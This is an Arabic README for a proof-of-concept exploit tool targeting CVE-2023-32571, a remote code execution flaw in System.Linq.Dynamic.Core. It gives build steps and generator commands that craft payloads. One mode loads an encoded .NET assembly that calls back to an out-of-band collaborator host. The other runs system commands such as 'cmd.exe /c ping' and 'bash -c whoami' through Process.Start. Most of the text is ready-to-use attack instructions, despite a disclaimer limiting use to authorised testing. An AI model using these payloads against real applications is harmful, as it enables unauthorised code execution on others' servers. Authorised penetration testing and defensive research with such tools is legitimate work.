🐞 CVE-2023-32571 - تنفيذ تعليمات برمجية عن بُعد في System.Linq.Dynamic.Core

إثبات المفهوم لثغرة CVE-2023-32571، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد في مكتبة System.Linq.Dynamic.Core (الإصدارات 1.0.7.10 إلى 1.2.25). تسمح هذه الثغرة للمهاجمين بتنفيذ تعليمات وأوامر عشوائية عند تحليل المدخلات غير الموثوقة لطرق مثل Where, Select, OrderBy.

⚠️ إخلاء مسؤولية

هذه الأداة مُقدمة لأغراض تعليمية واختبارية مصرح بها فقط. استخدام هذه الأداة لمهاجمة أهداف دون موافقة مسبقة متبادلة غير قانوني. المطورون لا يتحملون أي مسؤولية ولا يُعتبرون مسؤولين عن أي سوء استخدام أو ضرر ناتج عن هذا البرنامج.

🎯 المتطلبات الأساسية

• .NET 9.0 SDK أو أحدث
• تطبيق مستهدف يستخدم إصدارًا ضعيفًا من System.Linq.Dynamic.Core (1.0.7.10 إلى 1.2.25)
• خادم متعاون (مثل Burp Collaborator، Interactsh) لمراقبة الاستجابات

🛠️ بناء المشروع

1. بناء المشروع:
   root@kitploit:~

   dotnet build --configuration Release
   

   سينتج عن البناء
   • مكتبة الحمولة (Payload DLL) في Payload/bin/Release/netstandard2.0/Payload.dll
   • مولد الحمولة في Generator/bin/Release/net9.0/Generator.dll

🚀 الاستخدام

الأوضاع

تدعم الأداة وضعين:

1. AssemblyLoad (الوضع 0): تحميل وتنفيذ تجميع .NET مخصص
2. ProcessStart (الوضع 1): تنفيذ أوامر النظام مباشرة عبر Process.Start

الوضع 0: AssemblyLoad (الافتراضي)

# استخدام ترميز Base64
./Generator --mode 0 --file Payload.dll --type Payload --parameters "\"<your-collaborator-url>\"" --encoding 1

# استخدام ترميز Hex
./Generator --mode 0 --file Payload.dll --type Payload --parameters "\"<your-collaborator-url>\"" --encoding 0

# استخدام ترميز Base64
Generator.exe --mode 0 --file Payload.dll --type Payload --parameters "`"<your-collaborator-url>`"" --encoding 1

# استخدام ترميز Hex
Generator.exe --mode 0 --file Payload.dll --type Payload --parameters "`"<your-collaborator-url>`"" --encoding 0

الوضع 1: ProcessStart (تنفيذ الأوامر المباشر)

# تنفيذ أوامر ويندوز
./Generator --mode 1 --parameters "cmd.exe /c ping <your-collaborator-url>"

# تنفيذ أوامر لينكس
./Generator --mode 1 --parameters "bash -c ping <your-collaborator-url>"

⚙️ المعاملات

• --mode: وضع الاستغلال (0=AssemblyLoad, 1=ProcessStart)
• --file: المسار إلى تجميع .NET المراد تحميله (مطلوب لوضع AssemblyLoad)
• --type: اسم النوع المؤهل بالكامل المراد إنشاؤه (مطلوب لوضع AssemblyLoad)
• --parameters: المعاملات حسب الوضع:
  • AssemblyLoad: معاملات المُنشئ (مفصولة بفواصل)
  • ProcessStart: الأمر المراد تنفيذه (مثل 'cmd.exe /c whoami' أو 'bash -c whoami')
• --encoding: طريقة الترميز لوضع AssemblyLoad (0=Hex, 1=Base64)

📚 المراجع

• NIST NVD
• إعلان NCCGROUP
• مستودع System.Linq.Dynamic.Core على GitHub